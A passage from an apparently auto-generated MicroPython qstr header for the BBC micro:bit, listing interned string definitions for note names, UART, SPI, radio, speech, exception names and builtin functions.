byte*)"\x03\x03" "d:8") QDEF(MP_QSTR_e, (const byte*)"\xc0\x01" "e") QDEF(MP_QSTR_e3_colon_3, (const byte*)"\xba\x04" "e3:3") QDEF(MP_QSTR_e4, (const byte*)"\xf4\x02" "e4") QDEF(MP_QSTR_e4_colon_1, (const byte*)"\x3f\x04" "e4:1") QDEF(MP_QSTR_e5, (const byte*)"\xf5\x02" "e5") QDEF(MP_QSTR_e6_colon_3, (const byte*)"\x3f\x04" "e6:3") QDEF(MP_QSTR_e_colon_1, (const byte*)"\x0b\x03" "e:1") QDEF(MP_QSTR_e_colon_2, (const byte*)"\x08\x03" "e:2") QDEF(MP_QSTR_e_colon_3, (const byte*)"\x09\x03" "e:3") QDEF(MP_QSTR_e_colon_4, (const byte*)"\x0e\x03" "e:4") QDEF(MP_QSTR_e_colon_5, (const byte*)"\x0f\x03" "e:5") QDEF(MP_QSTR_e_colon_6, (const byte*)"\x0c\x03" "e:6") QDEF(MP_QSTR_e_colon_8, (const byte*)"\x02\x03" "e:8") QDEF(MP_QSTR_eb_colon_8, (const byte*)"\xe0\x04" "eb:8") QDEF(MP_QSTR_f, (const byte*)"\xc3\x01" "f") QDEF(MP_QSTR_f_hash_, (const byte*)"\x01\x02" "f#") QDEF(MP_QSTR_f_hash_5, (const byte*)"\x35\x03" "f#5") QDEF(MP_QSTR_f_hash_5_colon_2, (const byte*)"\xfd\x05" "f#5:2") QDEF(MP_QSTR_f_hash__colon_1, (const byte*)"\x4b\x04" "f#:1") QDEF(MP_QSTR_f_hash__colon_2, (const byte*)"\x48\x04" "f#:2") QDEF(MP_QSTR_f_hash__colon_8, (const byte*)"\x42\x04" "f#:8") QDEF(MP_QSTR_f2, (const byte*)"\x11\x02" "f2") QDEF(MP_QSTR_f_colon_1, (const byte*)"\x08\x03" "f:1") QDEF(MP_QSTR_f_colon_2, (const byte*)"\x0b\x03" "f:2") QDEF(MP_QSTR_f_colon_3, (const byte*)"\x0a\x03" "f:3") QDEF(MP_QSTR_f_colon_4, (const byte*)"\x0d\x03" "f:4") QDEF(MP_QSTR_f_colon_8, (const byte*)"\x01\x03" "f:8") QDEF(MP_QSTR_g, (const byte*)"\xc2\x01" "g") QDEF(MP_QSTR_g_hash_, (const byte*)"\x21\x02" "g#") QDEF(MP_QSTR_g_hash__colon_1, (const byte*)"\xea\x04" "g#:1") QDEF(MP_QSTR_g_hash__colon_3, (const byte*)"\xe8\x04" "g#:3") QDEF(MP_QSTR_g3_colon_1, (const byte*)"\xfa\x04" "g3:1") QDEF(MP_QSTR_g4, (const byte*)"\x36\x02" "g4") QDEF(MP_QSTR_g4_colon_1, (const byte*)"\x7d\x04" "g4:1") QDEF(MP_QSTR_g4_colon_2, (const byte*)"\x7e\x04" "g4:2") QDEF(MP_QSTR_g5, (const byte*)"\x37\x02" "g5") QDEF(MP_QSTR_g5_colon_1, (const byte*)"\xfc\x04" "g5:1") QDEF(MP_QSTR_g_colon_1, (const byte*)"\x09\x03" "g:1") QDEF(MP_QSTR_g_colon_2, (const byte*)"\x0a\x03" "g:2") QDEF(MP_QSTR_g_colon_3, (const byte*)"\x0b\x03" "g:3") QDEF(MP_QSTR_g_colon_8, (const byte*)"\x01\x03" "g:8") QDEF(MP_QSTR_r, (const byte*)"\xd7\x01" "r") QDEF(MP_QSTR_r4_colon_2, (const byte*)"\xcb\x04" "r4:2") QDEF(MP_QSTR_r_colon_1, (const byte*)"\x1c\x03" "r:1") QDEF(MP_QSTR_r_colon_2, (const byte*)"\x1f\x03" "r:2") QDEF(MP_QSTR_r_colon_3, (const byte*)"\x1e\x03" "r:3") QDEF(MP_QSTR_MicroBitUART, (const byte*)"\x32\x0c" "MicroBitUART") QDEF(MP_QSTR_uart, (const byte*)"\x77\x04" "uart") QDEF(MP_QSTR_init, (const byte*)"\x1f\x04" "init") QDEF(MP_QSTR_baudrate, (const byte*)"\xf5\x08" "baudrate") QDEF(MP_QSTR_bits, (const byte*)"\x49\x04" "bits") QDEF(MP_QSTR_parity, (const byte*)"\x42\x06" "parity") QDEF(MP_QSTR_stop, (const byte*)"\x9d\x04" "stop") QDEF(MP_QSTR_pins, (const byte*)"\x41\x04" "pins") QDEF(MP_QSTR_tx, (const byte*)"\x89\x02" "tx") QDEF(MP_QSTR_rx, (const byte*)"\xcf\x02" "rx") QDEF(MP_QSTR_any, (const byte*)"\x13\x03" "any") QDEF(MP_QSTR_readall, (const byte*)"\x76\x07" "readall") QDEF(MP_QSTR_readline, (const byte*)"\xf9\x08" "readline") QDEF(MP_QSTR_readinto, (const byte*)"\x4b\x08" "readinto") QDEF(MP_QSTR_ODD, (const byte*)"\x6a\x03" "ODD") QDEF(MP_QSTR_EVEN, (const byte*)"\xdd\x04" "EVEN") QDEF(MP_QSTR_MicroBitSPI, (const byte*)"\x4a\x0b" "MicroBitSPI") QDEF(MP_QSTR_spi, (const byte*)"\xcf\x03" "spi") QDEF(MP_QSTR_mode, (const byte*)"\x26\x04" "mode") QDEF(MP_QSTR_sclk, (const byte*)"\x72\x04" "sclk") QDEF(MP_QSTR_mosi, (const byte*)"\x1d\x04" "mosi") QDEF(MP_QSTR_miso, (const byte*)"\x9d\x04" "miso") QDEF(MP_QSTR_write_readinto, (const byte*)"\x89\x0e" "write_readinto") QDEF(MP_QSTR_neopixel, (const byte*)"\x69\x08" "neopixel") QDEF(MP_QSTR_NeoPixel, (const byte*)"\x69\x08" "NeoPixel") QDEF(MP_QSTR_clear, (const byte*)"\x7c\x05" "clear") QDEF(MP_QSTR_random, (const byte*)"\xbe\x06" "random") QDEF(MP_QSTR_getrandbits, (const byte*)"\x66\x0b" "getrandbits") QDEF(MP_QSTR_seed, (const byte*)"\x92\x04" "seed") QDEF(MP_QSTR_randrange, (const byte*)"\xa3\x09" "randrange") QDEF(MP_QSTR_randint, (const byte*)"\xaf\x07" "randint") QDEF(MP_QSTR_choice, (const byte*)"\x2e\x06" "choice") QDEF(MP_QSTR_uniform, (const byte*)"\x01\x07" "uniform") QDEF(MP_QSTR_audio, (const byte*)"\x53\x05" "audio") QDEF(MP_QSTR_AudioFrame, (const byte*)"\xae\x0a" "AudioFrame") QDEF(MP_QSTR_return_pin, (const byte*)"\x27\x0a" "return_pin") QDEF(MP_QSTR_source, (const byte*)"\xb8\x06" "source") QDEF(MP_QSTR_copyfrom, (const byte*)"\x56\x08" "copyfrom") QDEF(MP_QSTR_name, (const byte*)"\xa2\x04" "name") QDEF(MP_QSTR_os, (const byte*)"\x79\x02" "os") QDEF(MP_QSTR_uname, (const byte*)"\xb7\x05" "uname") QDEF(MP_QSTR_micropython, (const byte*)"\x0b\x0b" "micropython") QDEF(MP_QSTR_sysname, (const byte*)"\x9b\x07" "sysname") QDEF(MP_QSTR_nodename, (const byte*)"\x62\x08" "nodename") QDEF(MP_QSTR_release, (const byte*)"\xec\x07" "release") QDEF(MP_QSTR_version, (const byte*)"\xbf\x07" "version") QDEF(MP_QSTR_BytesIO, (const byte*)"\x1a\x07" "BytesIO") QDEF(MP_QSTR_TextIO, (const byte*)"\x1e\x06" "TextIO") QDEF(MP_QSTR_writable, (const byte*)"\xf7\x08" "writable") QDEF(MP_QSTR_listdir, (const byte*)"\x98\x07" "listdir") QDEF(MP_QSTR_machine, (const byte*)"\x60\x07" "machine") QDEF(MP_QSTR_size, (const byte*)"\x20\x04" "size") QDEF(MP_QSTR_is_playing, (const byte*)"\x04\x0a" "is_playing") QDEF(MP_QSTR_speech, (const byte*)"\x6d\x06" "speech") QDEF(MP_QSTR_say, (const byte*)"\xae\x03" "say") QDEF(MP_QSTR_pronounce, (const byte*)"\x94\x09" "pronounce") QDEF(MP_QSTR_sing, (const byte*)"\xb6\x04" "sing") QDEF(MP_QSTR_throat, (const byte*)"\x31\x06" "throat") QDEF(MP_QSTR_mouth, (const byte*)"\x6e\x05" "mouth") QDEF(MP_QSTR_speed, (const byte*)"\x62\x05" "speed") QDEF(MP_QSTR_debug, (const byte*)"\xd4\x05" "debug") QDEF(MP_QSTR_translate, (const byte*)"\x43\x09" "translate") QDEF(MP_QSTR_radio, (const byte*)"\xd4\x05" "radio") QDEF(MP_QSTR_config, (const byte*)"\x4f\x06" "config") QDEF(MP_QSTR_send_bytes, (const byte*)"\xbf\x0a" "send_bytes") QDEF(MP_QSTR_receive_bytes, (const byte*)"\x88\x0d" "receive_bytes") QDEF(MP_QSTR_send, (const byte*)"\xb9\x04" "send") QDEF(MP_QSTR_receive, (const byte*)"\x4e\x07" "receive") QDEF(MP_QSTR_receive_bytes_into, (const byte*)"\x6b\x12" "receive_bytes_into") QDEF(MP_QSTR_receive_full, (const byte*)"\x02\x0c" "receive_full") QDEF(MP_QSTR_length, (const byte*)"\x59\x06" "length") QDEF(MP_QSTR_queue, (const byte*)"\x94\x05" "queue") QDEF(MP_QSTR_channel, (const byte*)"\x26\x07" "channel") QDEF(MP_QSTR_power, (const byte*)"\xda\x05" "power") QDEF(MP_QSTR_data_rate, (const byte*)"\xa8\x09" "data_rate") QDEF(MP_QSTR_address, (const byte*)"\x73\x07" "address") QDEF(MP_QSTR_group, (const byte*)"\xba\x05" "group") QDEF(MP_QSTR_RATE_250KBIT, (const byte*)"\x7b\x0c" "RATE_250KBIT") QDEF(MP_QSTR_RATE_1MBIT, (const byte*)"\xdb\x0a" "RATE_1MBIT") QDEF(MP_QSTR_RATE_2MBIT, (const byte*)"\x58\x0a" "RATE_2MBIT") QDEF(MP_QSTR_ArithmeticError, (const byte*)"\x2d\x0f" "ArithmeticError") QDEF(MP_QSTR_AssertionError, (const byte*)"\x97\x0e" "AssertionError") QDEF(MP_QSTR_AttributeError, (const byte*)"\x21\x0e" "AttributeError") QDEF(MP_QSTR_BaseException, (const byte*)"\x07\x0d" "BaseException") QDEF(MP_QSTR_EOFError, (const byte*)"\x91\x08" "EOFError") QDEF(MP_QSTR_Ellipsis, (const byte*)"\xf0\x08" "Ellipsis") QDEF(MP_QSTR_Exception, (const byte*)"\xf2\x09" "Exception") QDEF(MP_QSTR_GeneratorExit, (const byte*)"\x16\x0d" "GeneratorExit") QDEF(MP_QSTR_ImportError, (const byte*)"\x20\x0b" "ImportError") QDEF(MP_QSTR_IndentationError, (const byte*)"\x5c\x10" "IndentationError") QDEF(MP_QSTR_IndexError, (const byte*)"\x83\x0a" "IndexError") QDEF(MP_QSTR_KeyError, (const byte*)"\xea\x08" "KeyError") QDEF(MP_QSTR_KeyboardInterrupt, (const byte*)"\xaf\x11" "KeyboardInterrupt") QDEF(MP_QSTR_LookupError, (const byte*)"\xff\x0b" "LookupError") QDEF(MP_QSTR_MemoryError, (const byte*)"\xdc\x0b" "MemoryError") QDEF(MP_QSTR_NameError, (const byte*)"\xba\x09" "NameError") QDEF(MP_QSTR_NoneType, (const byte*)"\x17\x08" "NoneType") QDEF(MP_QSTR_NotImplementedError, (const byte*)"\xc6\x13" "NotImplementedError") QDEF(MP_QSTR_OSError, (const byte*)"\xa1\x07" "OSError") QDEF(MP_QSTR_OrderedDict, (const byte*)"\xf0\x0b" "OrderedDict") QDEF(MP_QSTR_OverflowError, (const byte*)"\x81\x0d" "OverflowError") QDEF(MP_QSTR_RuntimeError, (const byte*)"\x61\x0c" "RuntimeError") QDEF(MP_QSTR_StopIteration, (const byte*)"\xea\x0d" "StopIteration") QDEF(MP_QSTR_SyntaxError, (const byte*)"\x94\x0b" "SyntaxError") QDEF(MP_QSTR_SystemExit, (const byte*)"\x20\x0a" "SystemExit") QDEF(MP_QSTR_TypeError, (const byte*)"\x25\x09" "TypeError") QDEF(MP_QSTR_UnicodeError, (const byte*)"\x22\x0c" "UnicodeError") QDEF(MP_QSTR_ValueError, (const byte*)"\x96\x0a" "ValueError") QDEF(MP_QSTR_ZeroDivisionError, (const byte*)"\xb6\x11" "ZeroDivisionError") QDEF(MP_QSTR___add__, (const byte*)"\xc4\x07" "__add__") QDEF(MP_QSTR___bool__, (const byte*)"\x2b\x08" "__bool__") QDEF(MP_QSTR___build_class__, (const byte*)"\x42\x0f" "__build_class__") QDEF(MP_QSTR___call__, (const byte*)"\xa7\x08" "__call__") QDEF(MP_QSTR___class__, (const byte*)"\x2b\x09" "__class__") QDEF(MP_QSTR___contains__, (const byte*)"\xc6\x0c" "__contains__") QDEF(MP_QSTR___delitem__, (const byte*)"\xfd\x0b" "__delitem__") QDEF(MP_QSTR___enter__, (const byte*)"\x6d\x09" "__enter__") QDEF(MP_QSTR___eq__, (const byte*)"\x71\x06" "__eq__") QDEF(MP_QSTR___exit__, (const byte*)"\x45\x08" "__exit__") QDEF(MP_QSTR___ge__, (const byte*)"\xa7\x06" "__ge__") QDEF(MP_QSTR___getattr__, (const byte*)"\x40\x0b" "__getattr__") QDEF(MP_QSTR___getitem__, (const byte*)"\x26\x0b" "__getitem__") QDEF(MP_QSTR___gt__, (const byte*)"\xb6\x06" "__gt__") QDEF(MP_QSTR___hash__, (const byte*)"\xf7\x08" "__hash__") QDEF(MP_QSTR___import__, (const byte*)"\x38\x0a" "__import__") QDEF(MP_QSTR___init__, (const byte*)"\x5f\x08" "__init__") QDEF(MP_QSTR___iter__, (const byte*)"\xcf\x08" "__iter__") QDEF(MP_QSTR___le__, (const byte*)"\xcc\x06" "__le__") QDEF(MP_QSTR___len__, (const byte*)"\xe2\x07" "__len__") QDEF(MP_QSTR___lt__, (const byte*)"\x5d\x06" "__lt__") QDEF(MP_QSTR___main__, (const byte*)"\x8e\x08" "__main__") QDEF(MP_QSTR___module__, (const byte*)"\xff\x0a" "__module__") QDEF(MP_QSTR___name__, (const byte*)"\xe2\x08" "__name__") QDEF(MP_QSTR___new__, (const byte*)"\x79\x07" "__new__") QDEF(MP_QSTR___next__, (const byte*)"\x02\x08" "__next__") QDEF(MP_QSTR___path__, (const byte*)"\xc8\x08" "__path__") QDEF(MP_QSTR___qualname__, (const byte*)"\x6b\x0c" "__qualname__") QDEF(MP_QSTR___repl_print__, (const byte*)"\x01\x0e" "__repl_print__") QDEF(MP_QSTR___repr__, (const byte*)"\x10\x08" "__repr__") QDEF(MP_QSTR___reversed__, (const byte*)"\x61\x0c" "__reversed__") QDEF(MP_QSTR___setitem__, (const byte*)"\x32\x0b" "__setitem__") QDEF(MP_QSTR___str__, (const byte*)"\xd0\x07" "__str__") QDEF(MP_QSTR___sub__, (const byte*)"\x21\x07" "__sub__") QDEF(MP_QSTR___traceback__, (const byte*)"\x4f\x0d" "__traceback__") QDEF(MP_QSTR_abs, (const byte*)"\x95\x03" "abs") QDEF(MP_QSTR_acos, (const byte*)"\x1b\x04" "acos") QDEF(MP_QSTR_add, (const byte*)"\x44\x03" "add") QDEF(MP_QSTR_align, (const byte*)"\xa8\x05" "align") QDEF(MP_QSTR_all, (const byte*)"\x44\x03" "all") QDEF(MP_QSTR_and_, (const byte*)"\x91\x04" "and_") QDEF(MP_QSTR_append, (const byte*)"\x6b\x06" "append") QDEF(MP_QSTR_args, (const byte*)"\xc2\x04" "args") QDEF(MP_QSTR_array, (const byte*)"\x7c\x05" "array") QDEF(MP_QSTR_asin, (const byte*)"\x50\x04" "asin") QDEF(MP_QSTR_asm_thumb, (const byte*)"\x43\x09" "asm_thumb") QDEF(MP_QSTR_asr, (const byte*)"\x65\x03" "asr") QDEF(MP_QSTR_atan, (const byte*)"\x1f\x04" "atan") QDEF(MP_QSTR_atan2, (const byte*)"\xcd\x05" "atan2") QDEF(MP_QSTR_bin, (const byte*)"\xe0\x03" "bin") QDEF(MP_QSTR_bl, (const byte*)"\xcb\x02" "bl") QDEF(MP_QSTR_bool, (const byte*)"\xeb\x04" "bool") QDEF(MP_QSTR_bound_method, (const byte*)"\x97\x0c" "bound_method") QDEF(MP_QSTR_builtins, (const byte*)"\xf7\x08" "builtins") QDEF(MP_QSTR_bx, (const byte*)"\xdf\x02" "bx") QDEF(MP_QSTR_bytearray, (const byte*)"\x76\x09" "bytearray") QDEF(MP_QSTR_bytecode, (const byte*)"\x22\x08" "bytecode") QDEF(MP_QSTR_byteorder, (const byte*)"\x61\x09" "byteorder") QDEF(MP_QSTR_bytes, (const byte*)"\x5c\x05" "bytes") QDEF(MP_QSTR_calcsize, (const byte*)"\x4d\x08" "calcsize") QDEF(MP_QSTR_callable, (const byte*)"\x0d\x08" "callable") QDEF(MP_QSTR_ceil, (const byte*)"\x06\x04" "ceil") QDEF(MP_QSTR_chr, (const byte*)"\xdc\x03" "chr") QDEF(MP_QSTR_classmethod, (const byte*)"\xb4\x0b" "classmethod") QDEF(MP_QSTR_close, (const byte*)"\x33\x05" "close") QDEF(MP_QSTR_closure, (const byte*)"\x74\x07" "closure") QDEF(MP_QSTR_clz, (const byte*)"\x50\x03" "clz") QDEF(MP_QSTR_cmp, (const byte*)"\x3b\x03" "cmp") QDEF(MP_QSTR_collect, (const byte*)"\x9b\x07" "collect") QDEF(MP_QSTR_const, (const byte*)"\xc0\x05" "const") QDEF(MP_QSTR_copysign, (const byte*)"\x33\x08" "copysign") QDEF(MP_QSTR_cos, (const byte*)"\x7a\x03" "cos") QDEF(MP_QSTR_count, (const byte*)"\xa6\x05" "count") QDEF(MP_QSTR_cpsid, (const byte*)"\xe8\x05" "cpsid") QDEF(MP_QSTR_cpsie, (const byte*)"\xe9\x05" "cpsie") QDEF(MP_QSTR_data, (const byte*)"\x15\x04" "data") QDEF(MP_QSTR_default, (const byte*)"\xce\x07" "default") QDEF(MP_QSTR_degrees, (const byte*)"\x02\x07" "degrees") QDEF(MP_QSTR_dict, (const byte*)"\x3f\x04" "dict") QDEF(MP_QSTR_dict_view, (const byte*)"\x2d\x09" "dict_view") QDEF(MP_QSTR_difference, (const byte*)"\x72\x0a" "difference") QDEF(MP_QSTR_difference_update, (const byte*)"\x9c\x11" "difference_update") QDEF(MP_QSTR_dir, (const byte*)"\xfa\x03" "dir") QDEF(MP_QSTR_disable, (const byte*)"\x91\x07" "disable") QDEF(MP_QSTR_disable_irq, (const byte*)"\x04\x0b" "disable_irq") QDEF(MP_QSTR_discard, (const byte*)"\x0f\x07" "discard") QDEF(MP_QSTR_divmod, (const byte*)"\xb8\x06" "divmod") QDEF(MP_QSTR_enable, (const byte*)"\x04\x06" "enable") QDEF(MP_QSTR_enable_irq, (const byte*)"\x91\x0a" "enable_irq") QDEF(MP_QSTR_end, (const byte*)"\x0a\x03" "end") QDEF(MP_QSTR_endswith, (const byte*)"\x1b\x08" "endswith") QDEF(MP_QSTR_enumerate, (const byte*)"\x71\x09" "enumerate") QDEF(MP_QSTR_eval, (const byte*)"\x9b\x04" "eval") QDEF(MP_QSTR_exec, (const byte*)"\x1e\x04" "exec") QDEF(MP_QSTR_exit, (const byte*)"\x85\x04" "exit") QDEF(MP_QSTR_exp, (const byte*)"\xc8\x03" "exp") QDEF(MP_QSTR_extend, (const byte*)"\x63\x06" "extend") QDEF(MP_QSTR_fabs, (const byte*)"\x93\x04" "fabs") QDEF(MP_QSTR_filter, (const byte*)"\x25\x06" "filter") QDEF(MP_QSTR_find, (const byte*)"\x01\x04" "find") QDEF(MP_QSTR_float, (const byte*)"\x35\x05" "float") QDEF(MP_QSTR_floor, (const byte*)"\x7d\x05" "floor") QDEF(MP_QSTR_fmod, (const byte*)"\xe5\x04" "fmod") QDEF(MP_QSTR_format, (const byte*)"\x26\x06" "format") QDEF(MP_QSTR_frexp, (const byte*)"\x1c\x05" "frexp") QDEF(MP_QSTR_from_bytes, (const byte*)"\x35\x0a" "from_bytes") QDEF(MP_QSTR_fromkeys, (const byte*)"\x37\x08" "fromkeys") QDEF(MP_QSTR_frozenset, (const byte*)"\xed\x09" "frozenset") QDEF(MP_QSTR_function, (const byte*)"\x27\x08" "function") QDEF(MP_QSTR_gc, (const byte*)"\x61\x02" "gc") QDEF(MP_QSTR_generator, (const byte*)"\x96\x09" "generator") QDEF(MP_QSTR_get, (const byte*)"\x33\x03" "get") QDEF(MP_QSTR_getattr, (const byte*)"\xc0\x07" "getattr") QDEF(MP_QSTR_globals, (const byte*)"\x9d\x07" "globals") QDEF(MP_QSTR_hasattr, (const byte*)"\x8c\x07" "hasattr") QDEF(MP_QSTR_hash, (const byte*)"\xb7\x04" "hash") QDEF(MP_QSTR_heap_lock, (const byte*)"\xad\x09" "heap_lock") QDEF(MP_QSTR_heap_unlock, (const byte*)"\x56\x0b" "heap_unlock") QDEF(MP_QSTR_hex, (const byte*)"\x70\x03" "hex") QDEF(MP_QSTR_id, (const byte*)"\x28\x02" "id") QDEF(MP_QSTR_implementation, (const byte*)"\x17\x0e" "implementation") QDEF(MP_QSTR_index, (const byte*)"\x7b\x05" "index") QDEF(MP_QSTR_insert, (const byte*)"\x12\x06" "insert") QDEF(MP_QSTR_int, (const byte*)"\x16\x03" "int") QDEF(MP_QSTR_intersection, (const byte*)"\x28\x0c" "intersection") QDEF(MP_QSTR_intersection_update, (const byte*)"\x06\x13" "intersection_update") QDEF(MP_QSTR_isalpha, (const byte*)"\xeb\x07" "isalpha") QDEF(MP_QSTR_isdigit, (const byte*)"\xa8\x07" "isdigit") QDEF(MP_QSTR_isdisjoint, (const byte*)"\xf7\x0a" "isdisjoint") QDEF(MP_QSTR_isenabled, (const byte*)"\x9a\x09" "isenabled") QDEF(MP_QSTR_isfinite, (const byte*)"\xa6\x08" "isfinite") QDEF(MP_QSTR_isinf, (const byte*)"\x3e\x05" "isinf") QDEF(MP_QSTR_isinstance, (const byte*)"\xb6\x0a" "isinstance") QDEF(MP_QSTR_islower, (const byte*)"\xfc\x07" "islower") QDEF(MP_QSTR_isnan, (const byte*)"\x9e\x05" "isnan") QDEF(MP_QSTR_isspace, (const byte*)"\x5b\x07" "isspace") QDEF(MP_QSTR_issubclass, (const byte*)"\xb5\x0a" "issubclass") QDEF(MP_QSTR_issubset, (const byte*)"\xb9\x08" "issubset") QDEF(MP_QSTR_issuperset, (const byte*)"\xfc\x0a" "issuperset") QDEF(MP_QSTR_isupper, (const byte*)"\xdd\x07" "isupper") QDEF(MP_QSTR_items, (const byte*)"\xe3\x05" "items") QDEF(MP_QSTR_iter, (const byte*)"\x8f\x04" "iter") QDEF(MP_QSTR_iterator, (const byte*)"\x47\x08" "iterator") QDEF(MP_QSTR_join, (const byte*)"\xa7\x04" "join") QDEF(MP_QSTR_kbd_intr, (const byte*)"\xf6\x08" "kbd_intr") QDEF(MP_QSTR_key, (const byte*)"\x32\x03" "key") QDEF(MP_QSTR_keys, (const byte*)"\x01\x04" "keys") QDEF(MP_QSTR_label, (const byte*)"\x43\x05" "label") QDEF(MP_QSTR_ldexp, (const byte*)"\x40\x05" "ldexp") QDEF(MP_QSTR_ldr, (const byte*)"\x5f\x03" "ldr") QDEF(MP_QSTR_ldrb, (const byte*)"\x5d\x04" "ldrb") QDEF(MP_QSTR_ldrex, (const byte*)"\xe2\x05" "ldrex") QDEF(MP_QSTR_ldrh, (const byte*)"\x57\x04" "ldrh") QDEF(MP_QSTR_len, (const byte*)"\x62\x03" "len") QDEF(MP_QSTR_list, (const byte*)"\x27\x04" "list") QDEF(MP_QSTR_little, (const byte*)"\x89\x06" "little") QDEF(MP_QSTR_locals, (const byte*)"\x3b\x06" "locals") QDEF(MP_QSTR_log, (const byte*)"\x21\x03" "log") QDEF(MP_QSTR_lower, (const byte*)"\xc6\x05" "lower") QDEF(MP_QSTR_lsl, (const byte*)"\xb6\x03" "lsl") QDEF(MP_QSTR_lsr, (const byte*)"\xa8\x03" "lsr") QDEF(MP_QSTR_lstrip, (const byte*)"\xe5\x06" "lstrip") QDEF(MP_QSTR_map, (const byte*)"\xb9\x03" "map") QDEF(MP_QSTR_math, (const byte*)"\x35\x04" "math") QDEF(MP_QSTR_max, (const byte*)"\xb1\x03" "max") QDEF(MP_QSTR_mem, (const byte*)"\x20\x03" "mem") QDEF(MP_QSTR_mem16, (const byte*)"\x07\x05" "mem16") QDEF(MP_QSTR_mem32, (const byte*)"\x41\x05" "mem32") QDEF(MP_QSTR_mem8, (const byte*)"\x18\x04" "mem8") QDEF(MP_QSTR_mem_alloc, (const byte*)"\x52\x09" "mem_alloc") QDEF(MP_QSTR_mem_free, (const byte*)"\xcb\x08" "mem_free") QDEF(MP_QSTR_mem_info, (const byte*)"\xd1\x08" "mem_info") QDEF(MP_QSTR_min, (const byte*)"\xaf\x03" "min") QDEF(MP_QSTR_modf, (const byte*)"\x25\x04" "modf") QDEF(MP_QSTR_module, (const byte*)"\xbf\x06" "module") QDEF(MP_QSTR_modules, (const byte*)"\xec\x07" "modules") QDEF(MP_QSTR_mov, (const byte*)"\xf1\x03" "mov") QDEF(MP_QSTR_movt, (const byte*)"\x65\x04" "movt") QDEF(MP_QSTR_movw, (const byte*)"\x66\x04" "movw") QDEF(MP_QSTR_movwt, (const byte*)"\x52\x05" "movwt") QDEF(MP_QSTR_mrs, (const byte*)"\x89\x03" "mrs") QDEF(MP_QSTR_namedtuple, (const byte*)"\x1e\x0a" "namedtuple") QDEF(MP_QSTR_next, (const byte*)"\x42\x04" "next") QDEF(MP_QSTR_nop, (const byte*)"\xb4\x03" "nop") QDEF(MP_QSTR_object, (const byte*)"\x90\x06" "object") QDEF(MP_QSTR_oct, (const byte*)"\xfd\x03" "oct") QDEF(MP_QSTR_open, (const byte*)"\xd1\x04" "open") QDEF(MP_QSTR_opt_level, (const byte*)"\x87\x09" "opt_level") QDEF(MP_QSTR_ord, (const byte*)"\x1c\x03" "ord") QDEF(MP_QSTR_pack, (const byte*)"\xbc\x04" "pack") QDEF(MP_QSTR_pack_into, (const byte*)"\x1f\x09" "pack_into") QDEF(MP_QSTR_pi, (const byte*)"\x1c\x02" "pi") QDEF(MP_QSTR_platform, (const byte*)"\x3a\x08" "platform") QDEF(MP_QSTR_pop, (const byte*)"\x2a\x03" "pop") QDEF(MP_QSTR_popitem, (const byte*)"\xbf\x07" "popitem") QDEF(MP_QSTR_pow, (const byte*)"\x2d\x03" "pow") QDEF(MP_QSTR_print, (const byte*)"\x54\x05" "print") QDEF(MP_QSTR_print_exception, (const byte*)"\x1c\x0f" "print_exception") QDEF(MP_QSTR_push, (const byte*)"\xbb\x04" "push") QDEF(MP_QSTR_qstr_info, (const byte*)"\xb0\x09" "qstr_info") QDEF(MP_QSTR_radians, (const byte*)"\x87\x07" "radians") QDEF(MP_QSTR_range, (const byte*)"\x1a\x05" "range") QDEF(MP_QSTR_rbit, (const byte*)"\xe8\x04" "rbit") QDEF(MP_QSTR_read_light_level, (const byte*)"\x5f\x10" "read_light_level") QDEF(MP_QSTR_remove, (const byte*)"\x63\x06" "remove") QDEF(MP_QSTR_replace, (const byte*)"\x49\x07" "replace") QDEF(MP_QSTR_repr, (const byte*)"\xd0\x04" "repr") QDEF(MP_QSTR_reverse, (const byte*)"\x25\x07" "reverse") QDEF(MP_QSTR_reversed, (const byte*)"\xa1\x08" "reversed") QDEF(MP_QSTR_rfind, (const byte*)"\xd2\x05" "rfind") QDEF(MP_QSTR_rindex, (const byte*)"\xe9\x06" "rindex") QDEF(MP_QSTR_round, (const byte*)"\xe7\x05" "round") QDEF(MP_QSTR_rsplit, (const byte*)"\xa5\x06" "rsplit") QDEF(MP_QSTR_rstrip, (const byte*)"\x3b\x06" "rstrip") QDEF(MP_QSTR_scan, (const byte*)"\x1a\x04" "scan") QDEF(MP_QSTR_sdiv, (const byte*)"\xcd\x04" "sdiv") QDEF(MP_QSTR_sep, (const byte*)"\x23\x03" "sep") QDEF(MP_QSTR_set, (const byte*)"\x27\x03" "set") QDEF(MP_QSTR_setattr, (const byte*)"\xd4\x07" "setattr") QDEF(MP_QSTR_setdefault, (const byte*)"\x6c\x0a" "setdefault") QDEF(MP_QSTR_sin, (const byte*)"\xb1\x03" "sin") QDEF(MP_QSTR_sleep_ms, (const byte*)"\x0b\x08" "sleep_ms") QDEF(MP_QSTR_sleep_us, (const byte*)"\x13\x08" "sleep_us") QDEF(MP_QSTR_sort, (const byte*)"\xbf\x04" "sort") QDEF(MP_QSTR_sorted, (const byte*)"\x5e\x06" "sorted") QDEF(MP_QSTR_split, (const byte*)"\xb7\x05" "split") QDEF(MP_QSTR_sqrt, (const byte*)"\x21\x04" "sqrt") QDEF(MP_QSTR_stack_use, (const byte*)"\x97\x09" "stack_use") QDEF(MP_QSTR_startswith, (const byte*)"\x74\x0a" "startswith") QDEF(MP_QSTR_staticmethod, (const byte*)"\x62\x0c" "staticmethod") QDEF(MP_QSTR_step, (const byte*)"\x57\x04" "step") QDEF(MP_QSTR_str, (const byte*)"\x50\x03" "str") QDEF(MP_QSTR_strb, (const byte*)"\x32\x04" "strb") QDEF(MP_QSTR_strex, (const byte*)"\xad\x05" "strex") QDEF(MP_QSTR_strh, (const byte*)"\x38\x04" "strh") QDEF(MP_QSTR_strip, (const byte*)"\x29\x05" "strip") QDEF(MP_QSTR_sub, (const byte*)"\x21\x03" "sub") QDEF(MP_QSTR_sum, (const byte*)"\x2e\x03" "sum") QDEF(MP_QSTR_super, (const byte*)"\xc4\x05" "super") QDEF(MP_QSTR_symmetric_difference, (const byte*)"\xce\x14" "symmetric_difference") QDEF(MP_QSTR_symmetric_difference_update, (const byte*)"\x60\x1b" "symmetric_difference_update") QDEF(MP_QSTR_sys, (const byte*)"\xbc\x03" "sys") QDEF(MP_QSTR_tan, (const byte*)"\xfe\x03" "tan") QDEF(MP_QSTR_threshold, (const byte*)"\xf2\x09" "threshold") QDEF(MP_QSTR_throw, (const byte*)"\xb3\x05" "throw") QDEF(MP_QSTR_ticks_add, (const byte*)"\x9d\x09" "ticks_add") QDEF(MP_QSTR_ticks_diff, (const byte*)"\xb1\x0a" "ticks_diff") QDEF(MP_QSTR_ticks_ms, (const byte*)"\x42\x08" "ticks_ms") QDEF(MP_QSTR_ticks_us, (const byte*)"\x5a\x08" "ticks_us") 